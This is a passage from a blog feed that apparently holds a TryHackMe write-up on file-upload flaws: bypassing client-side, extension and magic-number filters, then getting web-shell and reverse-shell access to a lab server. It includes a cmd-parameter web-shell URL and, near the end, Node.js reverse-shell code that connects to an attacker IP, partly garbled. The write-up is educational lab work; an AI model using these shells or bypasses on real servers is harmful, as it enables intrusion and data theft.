href="https://www.wikihow.com/Calculate-Permutations#:~:text=Solve%20the%20equation%20to%20find%20the%20number%20of,until%20you%20get%20down%20to%200.%20More%20items">How to Calculate Permutations: 8 Steps (with Pictures) — wikiHow</a> to visualize and understand the math needed for Task 2, Question 3</p><p><a href="https://infosecscout.com/install-hashcat-on-windows/">How To Install Hashcat on Windows In 2023 — InfosecScout</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=54cca037eccc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Upload Vulnerabilities TryHackMe Writeup]]></title>
            <link>https://medium.com/@cyberjab/upload-vulnerabilities-tryhackme-writeup-feeb14df805d?source=rss-c19a6e69c664------2</link>
            <guid isPermaLink="false">https://medium.com/p/feeb14df805d</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[webshell]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[file-upload-vulnerability]]></category>
            <dc:creator><![CDATA[Christopher Fouad Jabbour]]></dc:creator>
            <pubDate>Tue, 18 Apr 2023 20:10:26 GMT</pubDate>
            <atom:updated>2023-04-18T20:10:26.761Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PWGTz4HTAmd5wyvb.png" /></figure><p>This is my first and initial writeup on the Upload Vulnerabilitie THM room which gives an overview on basic file-upload vulnerabilities that can be found in websites.</p><p>A link to the TryHackMe room can be accessed <a href="https://tryhackme.com/room/uploadvulns">here</a>.</p><h3>Method of connection</h3><ul><li>Browser-based Virtual Machine (VM) within TryHackMe known as an AttackBox to access the vulnerable virtual machine with the uploads vulnerablities</li></ul><p><strong>Terminology covered in Writeup</strong></p><p>HOSTS file — a file on a computer used to map connections between IP addresses and domain names on a local DNS server. This is where and how we take IP addresses that are numbers and give them recognizable names.</p><p>Remote Code Execution (RCE) — A vulnerability that lets a attacker run malicious/arbitrary code in a programming language that developer wrote the application in, such as PHP as used in the hands-on practice for this writeup.</p><ul><li>A type of attack that could occur with a file upload is with the use of a web shell script. This is where you use how the target server is configured and trick it into executing some code you sent it.</li></ul><p>Web enumeration — A penetration testing technique that lists and identifies the users, networks, and resources (directories, files, etc.) associated with a target system and checking whether any of these entities introduce vulnerabilities.</p><p>Web shell — a piece of code that attackers send to web servers to give them remote access as an example by tricking the target web server into running the code within the webshell script.</p><h3>Task 1: Getting Started</h3><p>Task 1 goes over the changes we need to make to the hosts file before anytime we use the virtual machine for this room as the IP address will change every time the VM is terminated and a new one starts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*U2nLa2Wgc3q6vMMmj8cRVw.png" /><figcaption>Fig 1: File Upload Vulnerablities VM started</figcaption></figure><p>I ran the virtual machine with uploads vulnerability (Fig 1.) and followed the steps I needed to do to add the IP address to the hosts file on my Linux AttackBox.</p><h3>Step #1: open the hosts file in an editor</h3><p>I used nano as my editor of choice</p><blockquote>sudo nano /etc/hosts</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*WPaZQVEzj4f2sGRKT-rGbA.png" /></figure><p>Step #2 : Add the following line with File Uploads Vulns v2.1 VM’s IP address and the domain names to assign to it.</p><p>Example provided</p><p>&lt;File_Upload_VM_IP_Addr&gt; overwrite.uploadvulns.thm shell.uploadvulns.thm java.uploadvulns.thm annex.uploadvulns.thm magic.uploadvulns.thm jewel.uploadvulns.thm demo.uploadvulns.thm</p><p>In my case, the line to add with my started up VM will be as follows:</p><p>10.10.214.92 overwrite.uploadvulns.thm shell.uploadvulns.thm java.uploadvulns.thm annex.uploadvulns.thm magic.uploadvulns.thm jewel.uploadvulns.thm demo.uploadvulns.thm</p><blockquote>Note: if this is your first-time using nano and pasting a really long line of text, it may seem like text was cut off and you see a $, but the text isn&#39;t cut off, it just hidden by the $ symbol and you can you use your arrow keys to traverse to the remaining part of your pasted text. There isn’t any word wrap functionality in use to show the whole line in one window.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*As9MNct8ACQfAYlNpdaFpw.png" /></figure><p>After I added the following line to the hosts file, I clicked Ctrl + X to save the file and entered the letter Y then the enter key to confirm the file save.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/1*a1KC1xNvsx4sdmOr-s-qFQ.png" /></figure><p><strong>Question #1: Configure your hosts file for the task, as per the instructions above.</strong></p><blockquote>No answer needed</blockquote><h3>Task 2: Introduction</h3><p>This Task gives information on the following concepts below and just requires that we read and understand the material and click the complete button to move on to the next task.</p><p><strong>Information covered</strong></p><ul><li>What file uploading is and distinct types of files that can be uploaded to a website or application by a user.</li><li>The types of vulnerabilities that can occur from improper handling of what files are uploaded</li></ul><p><strong>Some of the vulnerabilities covered in this room</strong></p><ul><li>Overwriting existing files on a server</li><li>Uploading and Executing Shells on a server (RCE)</li><li>Bypassing Client-Side filtering</li><li>Bypassing various kinds of Server-Side filtering</li><li>Fooling content type validation checks</li></ul><p><strong>Question 1#: Read and understand the above information.</strong></p><blockquote>No answer needed</blockquote><h3><strong>Task 3: General Methodology</strong></h3><p>This section just gives more information on how to go about exploiting a file upload on a website and how to poke around and see what is and isnt allowed to be uploaded. I read the material, took note of the takeaways and moved on to the next task.</p><p><strong>Question 1#: Read the General Methodology</strong></p><blockquote>No answer needed</blockquote><p><strong>Key takeaways</strong></p><p>Web enumeration is how a pen-tester or attacker attempts to understand and learn about a target environment.</p><ul><li>The detective work that is done to learn what can be done on a target environment.</li></ul><p>There is a number of tools in that can be used, (e.g Burp Suite, Wappalyzer, OWASP Zap, GoBuster)</p><ul><li>Understanding the fundamentals of why you use a tool and what they are just as important as well.</li></ul><h3>Task 4: Overwriting Existing Files</h3><p>This task goes through the scenario of trying to upload a file with the same name as an existing file that is stored on an app’s server directory that holds uploaded files.</p><p>Two things can happen.</p><p>One, the upload will fail and you may need to upload the file under a different name. This can be due to the functionality of file permissions in place on an application. The second thing that can happen is the new file being uploaded will overwrite the existing file completely; given no precautions are in place to prevent this.</p><p>The following questions are more hands on and require accessing one of the domain names on the vulnerable machine’s IP address added in the hosts file from Task 1.</p><p><strong>Question #1: What is the name of the image file which can be overwritten?</strong></p><p><strong>Step #1. Navigate to the domain <em>overwrite.uploadvulns.thm</em> in web browser</strong></p><p>I entered the complete URL <em>http://overwrite.uploadvulns.thm </em>into my AttackBox’s web browser to get to home page</p><p><strong>Step #2. Figure out the image file’s name within this domain name</strong></p><p>This is crucial for figuring out what name of the image file to overwrite for the challenge</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*HsHAbd9SWsuwA7IVQZWhRw.png" /></figure><p>The first place I thought to look would be in the HTML source file of the home page. There is a background image on the home page as well so this might be the file I am looking for.</p><p>I right clicked on the white window containing the file upload form and selected the <strong>View Page Source</strong> option to view the HTML markup used on this page. Looking through the HTML source, I was able to find a name of the image file and answer, which was referenced in the <strong>/images/ </strong>directory path in the HTML source markup.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*UwJpBWWW9Nqmt5xP1y5dpg.png" /></figure><p><strong>Question #2: Overwrite the image. What is the flag you receive?</strong></p><p>The next step is to attempt overwriting the file by uploading a new image file with the same name as the file found.</p><p><strong>Step #1. Setting up file</strong></p><p>I looked around the web and saved the image that I will upload to my downloads folder as the same name as the image file found in the previous question.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*8V8iQzIVakMDCNDzj0kyWg.png" /></figure><p><strong>Step #2. Uploading the file</strong></p><p>Once my test file was named and ready, I went back to the home page and clicked the <strong>Select File </strong>button to select my test image file for upload. Once it was loaded, I clicked the <strong>Upload </strong>button on the upload form to upload the image.</p><p>After the upload was complete, I got a message returned in the upload form of the web page telling me the file overwriting was successful and I got the flag needed to solve this question.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*yOQlXb9MpKJUrUgD8JzWug.png" /></figure><h3>Task 5: Remote Code Execution</h3><p>This task goes over Remote Code Execution being done through the file upload vulnerability and how RCE is achieved using a webshell or reverse/bind shells.</p><p>I navigated to the http://shell.uploadvulns.thm to begin working on the hands-on questions</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BgA5AYezF5Qvcof8igt2XQ.png" /><figcaption>Screenshot referred to in Task 1, Question 1</figcaption></figure><p><strong>Question #1: Run a Gobuster scan on the website using the syntax from the screenshot above. What directory looks like it might be used for uploads?</strong></p><p><strong><em>(N.B. This is a good habit to get into, and will serve you well in the upcoming tasks…)</em></strong></p><p>Answering this question was straightforward.</p><p>We just need to take the Gobuster tool command from the screenshot and tweak it</p><blockquote>gobuster dir -u http://shell.uploadvulns.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt</blockquote><p>The above command will have gobuster run directory/file bruteforcing mode with the <em>dir </em>command</p><p>the url <em>-u</em> switch argument is set to <a href="http://shell.uploadvulns.thm/"><em>http://shell.uploadvulns.thm</em></a><em> </em>uses</p><p>****gobuster command breakdown</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*fw_mCHRejIEOrg3F_dAcrw.png" /></figure><p>Question #2: <strong>Get either a web shell or a reverse shell on the machine.<br>What’s the flag in the /var/www/ directory of the server?</strong></p><p>For this question</p><h3><strong>Web Shell Approach</strong></h3><p>I used the command<em> nano webshell.php</em> to create a new file called webshell.php to act as the web shell to</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*OT_bU-5bgR4koChNKn0tHw.png" /></figure><p>I started with using the web shell approach using a simple PHP script that prints the output of the</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*C7nagL-n0dm4Duq02C4U9A.png" /></figure><p>I selected the <strong>Select File </strong>button and uploaded my webshell.php file to act as an example screenshotted below,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*Rw1gYLz6_Wv1ODvpL5kIzg.png" /></figure><p>Afterwards, I entered the following command below into the browser to change directory and list what was within the /var/www directory path.</p><p><a href="http://shell.uploadvulns.thm/resources/webshell.php?cmd=cd">http://shell.uploadvulns.thm/resources/webshell.php?cmd=cd</a> /var/www;ls -a;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*OCx_OubAT7yFZ5sIN8ygpg.png" /></figure><p>I found the flag file as expected and proceeded to enter the following URL to cat the content that was in the flag.txt file http://shell.uploadvulns.thm/resources/webshell.php?cmd=cd /var/www;cat flag.txt</p><p>the equivalent URL-encoded version of the URL with the command parameter is below</p><p>http://shell.uploadvulns.thm/resources/webshell.php?cmd=cd%20/var/www;cat%20flag.txt</p><p>The result of the above command was two duplicate lines of the same flag when I submitted the command in the URL path cmd query parameter. I was able to get the flag I needed to complete this challenge from the output.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*JdOAT84Nui3hBlGq7rkCxg.png" /></figure><h3>Task 6: Filtering</h3><p>This task goes discusses the defense mechanisms used to prevent malicious file uploads used in secure web applications, and how to circumvent file vulnerabilities with filtering. The next two tasks will go more into the two types: client-side filtering and server-side filtering.</p><p>I read the content and proceeded to answer the questions.</p><p><strong>Question #1: What is the traditionally predominant server-side scripting language?</strong></p><blockquote>PHP</blockquote><p><strong>Question #2: When validating by file extension, what would you call a list of accepted extensions (whereby the server rejects any extension not in the list)?</strong></p><blockquote>Whitelist</blockquote><p><strong>Question #3: [Research] What MIME type would you expect to see when uploading a CSV file?</strong></p><blockquote>text/csv</blockquote><h3>Task 7: Bypassing Client-Side Filtering</h3><p>This task goes over four ways on how to bypass client-side upload filtering</p><p>The main focus will be on two ways:</p><ul><li>Intercepting and modifying the requested webpage using a tool like Burp Suite for the file upload and stripping out the JavaScript filter before the webpage is loaded or has a chance to run.</li><li>Intercepting and modifying the file upload after the upload has been passed and accepted by the filter</li></ul><p>I started up my Burp Suite application to configure it to intercept any external JavaScript files that the web page Burp Suite intercepts is loaded. We will need to go to the Options tab &gt; Intercept Client Requests section and edit the condition of the first line by removing the ^js$| condition.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*qd-SotZ9xBxo3KH0zuUAyw.png" /></figure><p>The pentest monkey reverse shell php file will be used as the reverse shell. I found a copy of the reverse shell script in the /usr/share/webshells/php directoy path of my AttackBox, the command to navigate there quickly cd /usr/share/webshells/php was also utilized to get to this directory quickly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*YFQyK8EDkMyrYZI7hlAQsA.png" /></figure><p>Once I created the copy, I proceeded to modify the values in the shell.php script to reflect my AttackBox IP address and port where my listener connection will be listening on my machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*LdVZ0UXfGHYd7891Vqa7LQ.png" /></figure><p>I proceeded to start my netcat listener with the rlwrap to stabilize the reverse shell when we upload the php shell on the target server by doing the bypass steps in Burp Suite.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*2Mf9ey4XCTMvlk8-lWOgEg.png" /></figure><p>I proceeded to the <a href="http://java.uploadvulns.thm/">http://java.uploadvulns.thm</a> upload page to view the HTML source to see what external JavaScript files are coded for the client-side upload filtering. I noticed that script.js and client-side-filter.js were of interest and looked into the code logic for each of the files screenshotted below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*39ku1bCw2Q0UVcra5Hn-ow.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*uZvO3dz9Q0Lrh0YuDoRTow.png" /><figcaption>Screenshot of the assets/js/client-side-filter.js file code</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*GP5eIc49f9VrIa7Ta7Mqhw.png" /><figcaption>Screenshot of the script.js file with the success and error function calls</figcaption></figure><p>Based on the logic in the client-side-filter.js file, it appears that if the file type of the upload is not image/png, the upload will fail and error out.</p><p>I started with running the following gobuster command to see what directories I can find for the domain name for this task</p><p>gobuster dir -u http://java.uploadvulns.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*O-THMdn_JaeRwr9R9XFcDw.png" /></figure><p>The assets directory usually contents files related to the web application like JS, HTML and CSS files. Based on the javascript logic for making sure the uploads are a type of png image format, the images directory path would be what I would use to access the shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/398/1*k7qhQjzUs2WZgTCvh9zWFQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*pz3mu21p52uNWrUERqwI5Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*SRmvo-KXdg_mWCFnzHwXCg.png" /></figure><p>Once I uploaded the file, the HTTP request to upload the reverse shell as a png file should be intercepted by the Burp Suite proxy. I proceeded to change the filename and Content-Type values from png to the php format to initiate the client-side bypass</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*FYUB0IlVMS8Wc_lFLapx4g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*D0nO_1W6P43xGR9LFHknqA.png" /></figure><p>Content-Disposition: form-data; name=”fileToUpload”; filename=”shell.php”<br>Content-Type: text/x-php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*R6fjt5r8_TqBw6DLj9EEow.png" /></figure><p>The file got uploaded and I proceeded to head to the /images directory path of the website to start the shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*NTBDcCgEwsPtkbPfhVFliQ.png" /></figure><p>At first I got a warning message and my netcat listener failed. I proceeded to start the netcat listener on my AttackBox again and was able to get in with a shell within my</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_1P5fWCu6n8D33kvyfGwww.png" /></figure><p>Within the reverse shell, I proceeded to navigate to the var/www/ directory path and outputted the content within the flag.txt file to get the flag I needed to complete this challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/412/1*KgVXNJTDuy5zNJGt2CJtHw.png" /></figure><p>Client side filters are easy to bypass as we can intercept the web page requests and modify the payload file type as seen in the above steps.</p><h3>Task 8: Bypassing Server-Side Filtering: File Extensions</h3><p>This task gives an overview on server-side filtering that is done by checking a file extension’s format.</p><p>The hands on example to the task question will use a server-side filter as follows to check the filename extension of the upload. In real world scenarios. Figuring out if there is a type of file extension filter in place and what files the filter will reject and take will involve a bit of Black Box testing of different PHP file types and combinations to see if the filter works as expected or if there is a flaw in the code logic.</p><p>&lt;?php<br> //Get the extension<br> $extension = pathinfo($_FILES[“fileToUpload”][“name”])[“extension”];<br> //Check the extension against the blacklist — .php and .phtml<br> switch($extension){<br> case “php”:<br> case “phtml”:<br> case NULL:<br> $uploadFail = True;<br> break;<br> default:<br> $uploadFail = False;<br> }<br>?&gt;</p><p><strong>Question #1: What is the flag in /var/www/?</strong></p><p>I did an gobuster directory enumeration bruteforce to see if the directory path to the uploads sent to the annex.uploadvulns.thm site is able to be accessed</p><blockquote>gobuster dir -u http://annex.uploadvulns.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vKsRMtRz9kaEYyigzNnnJg.png" /></figure><p>I attempted to upload my shell as shell.php to test the filter and got the expected behavior.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tScErhHEZ1gTtVVy9JMqkQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BkbKTDqtCESt6u7Q0aXy4Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tLQqHhWaqaxGiLOTgXtHBA.png" /></figure><p>After I copied the php-reverse-shell.php as shell.php. I proceeded to open the Sublime text editor and set the value of the IP Address and port to my AttackBox Linux VM’s to match my TCP listener that will be listening to receive the connection once the webshell is accessed on the target.</p><p>attempt with shell.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lF92zvlLRc8gHAP4hpTdKQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*waC0gKGuRtjjEm3_YLxSrA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6mnDE66QUiTAJXAI2EwfPw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jP8JRLzdOvjz-C11aOzJVw.png" /></figure><p>The result is that it got rejected as well.</p><p>I attempted to try uploading the shell as shell.jpg.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*94SwO_m7zm7UFD0qjjzdeA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-y5_OkHE_zLXhgURJGP3OA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*huYK6KTaFux_ugNVard6Uw.png" /></figure><p>but also got invalid file name message.</p><p>I attempted to rename and use my shell file as shell.php5 to see if that will get past the server side filter. I got a successful file uploaded message with the php5 file extension.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*en5kVBsahFtGkg-ZeAprOw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QR-xBWzWfIrYMfoaWMCwjA.png" /></figure><p>Before I opening the shell.php5 web shell; I proceeded to start my netcat listener for port 443 setup on my AttackBox VM to be ready to catch and receive the reverse shell connection when the web shell upload is accessed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1Y3DWDXJlMdpK9k5KSq-Ew.png" /></figure><p>Afterwards, I navigated to the<strong> /privacy/</strong> URL path I found using GoBuster to brute force enumerate for all possible directory path names on the domain for this task*****. I clicked on my uploaded shell file hyperlink. After clicking, the privacy page was stuck loading as expected for a reverse shell behavior and I looked back at my started listening connection and got access to the target machine using the a reverse shell webshell technique. I proceeded to got to the /var/www/ directory path to look for the flag text file needed to complete this challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dyMuDWtB1Tt5rgtlGqpllQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*evMBqneXfLm5hX15HeaxBA.png" /></figure><p>Extra Note: For this hands on task. I encountered a weird not easy to replicate issue where despite selecting a file to upload, I would get the message: <em>File must be chosen before being uploaded. Type “help” for syntax.</em> To fix or resolve this issue, I had to restart my vulnerable machine VM and my AttackBox VM instances to resolve this issue on the annex.uploadvulns.thm site using the AttackBox method of connection.</p><h3>Task 9: Bypassing Server-Side Filtering: Magic Numbers</h3><p>This task goes over an example of the use of the implementation of magic number checking in a server-side filter.</p><p>The task explains as follows how</p><blockquote>…it’s possible to use magic numbers to validate file uploads, simply by reading those first few bytes and comparing them against either a whitelist or a blacklist.</blockquote><blockquote>Knowing this, it’s possible to use magic numbers to validate file uploads, simply by reading those first few bytes and comparing them against either a whitelist or a blacklist. Bear in mind that this technique can be very effective against a PHP based webserver; however, it can sometimes fail against other types of webserver (hint hint).</blockquote><p>A magic number in this context refers to a string of hex digits that is always the first thing in a file. Adding a magic number to a specific file with the use of a hexadecimal editor can possibly bypass the magic number filtering used in a server-side file upload filter to make a file look as if it is accepted file type to upload.</p><p><strong>Question #1: Grab the flag from /var/www/</strong></p><p>I proceeded to run gobuster to get the directory path URL I would need to access for the file upload. I got a URL path of /graphics/ found which I deduce to be the file upload directory to attempt to find my uploads with.</p><blockquote>gobuster dir -u http://magic.uploadvulns.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uksGUZ11fEtFM5KDpZ_2OQ.png" /></figure><p>I navigated to the website and proceeded to try to upload a example JPG file to see if it is a accepted format</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xGiczjUXrCDRFARrtvNAuQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ayW2V02zR6oVEd225qgR3A.png" /></figure><p>The result was I received a message saying “GIFs only please!”. This told me that the JPG file was invalid and that GIF files are the file type that can be submitted for upload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i1j7UGiL938ga7eIUPxZmA.png" /></figure><p>I proceeded to the following <a href="https://en.wikipedia.org/wiki/List_of_file_signatures">link </a>for a list of file signatures for the GIF file format type.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FGitjD7aDmXJlMWKYjmBCA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XxRx7oWIKFvb9mUQzj3EwA.png" /></figure><p>I found two hex signatures for the gif extensions.</p><ul><li>47 49 46 38 37 61</li><li>47 49 46 38 39 61</li></ul><p>I would proceed with using the first listed hex signature option as the magic number to try.</p><p>After making the IP address and Port value changes on my reverse shell shell.php file copied from the pentest monkey reverse shell script; I ran the file command on the shell.php and saw what was expected, PHP script, ASCII text. I will changing the file type in the next steps</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gCRwcbwbrIkqJJyBAh0vDA.png" /></figure><p>Then I added six random characters in my case, 6 “C”, to the first line of my reverse shell file PHP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vLSyrt7gjx9xaR4Hps2tpg.png" /></figure><p>I installed ncurses-hex-edit on to my AttackBox VM instance</p><blockquote>apt install ncurses-hexedit</blockquote><p>to be able to view and manipulate the random six characters I added into the magic number hex to make my shell a GIF file type for the bypass.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B2jumdWiahPvlEeEALYpxw.png" /></figure><p>I entered the following command to open the</p><blockquote>hexeditor shell.php</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VfMvj1RrgpsIkgMGYG4hwg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tYkGZOgNAlisL0vJG1Fdtw.png" /></figure><p>I changed the 6 43hex values into the hex values for the GIF file format and saved the changes made.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bgI-J5xSmOodr39-4K-8SA.png" /></figure><p>When I run the file command on the shell.php script, I am now able to see the file type is a GIF image data</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qF1dER4peywi29hBGOCu2A.png" /></figure><p>I went back to the file upload page and attempted to upload the shell.php file after making the magic number change.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-J1rq3DPJkDojH7mX8pwtQ.png" /></figure><p>The outcome was a successful file upload of the shell.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fbmmE3GJmlXGXQyvSl288g.png" /></figure><p>After a successful upload, I proceeded to start my listener port listener on my Linux AttackBox</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DI2cJ6jNuDYAPZOelIqI8w.png" /></figure><p>Then, in my web browser I entered the URL to get to the exact path of the shell.php in the graphics directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qKKgPtROaX1pTV2WciGSyQ.png" /></figure><p>After I submitted the link, I looked back at my netcat listener on my AttackBox and received the connection from the uploaded PHP script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FUb8rHOHhBolBQ6V4l9fZw.png" /></figure><p>I then proceeded to navigate to the<strong> /www/var/</strong> directory path in the shell and got the flag needed to complete this challenge</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xwyzh1St6gfswrDSbvQcPQ.png" /></figure><h3>Task 10: Example Methodology</h3><p>Task 10 gives an overview of example methodology process for verifying and testing for file upload vulnerabilities in a for a simulated real world scenario of web security auditing.</p><p><strong>Steps summarized in example methodology</strong></p><ol><li>Attempt to identify the website’s language and framework (e.g. using tools like Wappalyzer or by manually inspecting server headers with Burp Suite)</li><li>Locate and access the upload page and inspect client side filters to attempt to bypass them.</li><li>Do an innocent file upload to understand how uploaded files can be accessed and what the file naming scheme is.</li><li>Attempt a malicious download bypassing any client-side filter and seeing if it is stopped by a server-side filter</li><li>If an upload is stopped by a server-side filter, figure out the error message returned to determine the type of filter to learn how to bypass it.</li></ol><p>There are no questions to answer except to read the material on this task and click the complete button to move on to the next task.</p><h3>Task 11: Challenge</h3><p>In this task, I am asked to use what I learned to get the flag on a machine in a black box testing scenario where we don’t know what is technologies are in use for the machine I will be pen-testing and trying to get access to.</p><p>a wordlist is given that contains a list of three character string combinations which I later found out to be how the files in the content directory are named to be used for finding any files I uploaded, I proceeded to copy the list content into another list file as per the listed instructions and steps I took to answer question #1.</p><p><strong>Question #1: Hack the machine and grab the flag from /var/www/</strong></p><p>I ran a gobuster scan to see what directory paths are in use for the target machine.</p><blockquote>gobuster dir -u <a href="http://jewel.uploadvulns.thm/">http://jewel.uploadvulns.thm</a> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aWDTS8wDgbfv5TtU1twU3w.png" /></figure><p>I proceeded to check the code of the Upload.js for the filter logic and installed Wappalyzer on my AttackBox as part of the information gathering phase. Based on my reconnaisance, The application is running on a NodeJS framework and Express JS is being used for the routing of HTTP requests and responses.</p><p>Also, there is a 3 logic filters in upload.js</p><ul><li>Magic number or Hex representation checking for JPEG</li><li>A file size limit constraint</li><li>A check to see if the file extension is jpeg or jpg.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1kCNjqHk44-Xe239uzFcvg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6NA6aNDCClg0UGCkq9xJfw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bWjObVAXP7IE8gw_2brSOg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ShpiQQ4yzefuPZf1g_4-aw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BBj2Cejm8kwFkCxlI4juvw.png" /></figure><p>Once I got a successful upload, I took the wordlist document attached to the task and moved it to the /usr/share/wordlists/SecLists/ directory path</p><p>I proceed to use the following command to see if i can find and access the file I uploaded</p><blockquote>gobuster dir -u <a href="http://jewel.uploadvulns.thm/content/">http://jewel.uploadvulns.thm/content</a> -w /usr/share/wordlists/SecLists/uploadvulnswordlist.txt -x jpg</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8uLWehBeUZEH8zJ3mIj5eQ.png" /></figure><p>I would eventually run into issues and lessons learned. The Pentest monkey Reverse shell webshell script I have been attempting to use only runs on webservers that can and run PHP, usually on an Apache for past cybersecurity challenges I have done mainly being able to execute PHP. The target machine is using a different web server as found in my reconaissance screenshots.</p><p>I learned that whenever this happens and I am able to identify the server, in this cause, NodeJS running with the Express module, I proceeded to do further research to look for another webshell script payload to use. I looked in this <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#nodejs">repository </a>on GitHub and looked under the NodeJS section.</p><p>I created a new file and called it node-conch-shell.js and added the following code</p><pre>(function(){<br>    var net = require(&quot;net&quot;),<br>        cp = require(&quot;child_process&quot;),<br>        sh = cp.spawn(&quot;/bin/sh&quot;, []);<br>    var client = new net.Socket();<br>    client.connect(443, &quot;10.10.11.203&quot;, function(){ // change to your AttackBox&#39;s Port number and IP address in the respective order<br>        client. Pipe(sh.stdin);<br>        client. Pipe(sh.stdin);<br>        sh.stdout.pipe(client);<br>        sh.stderr.pipe(client);<br>    });<br>    return /a/; // Prevents the Node.js application from 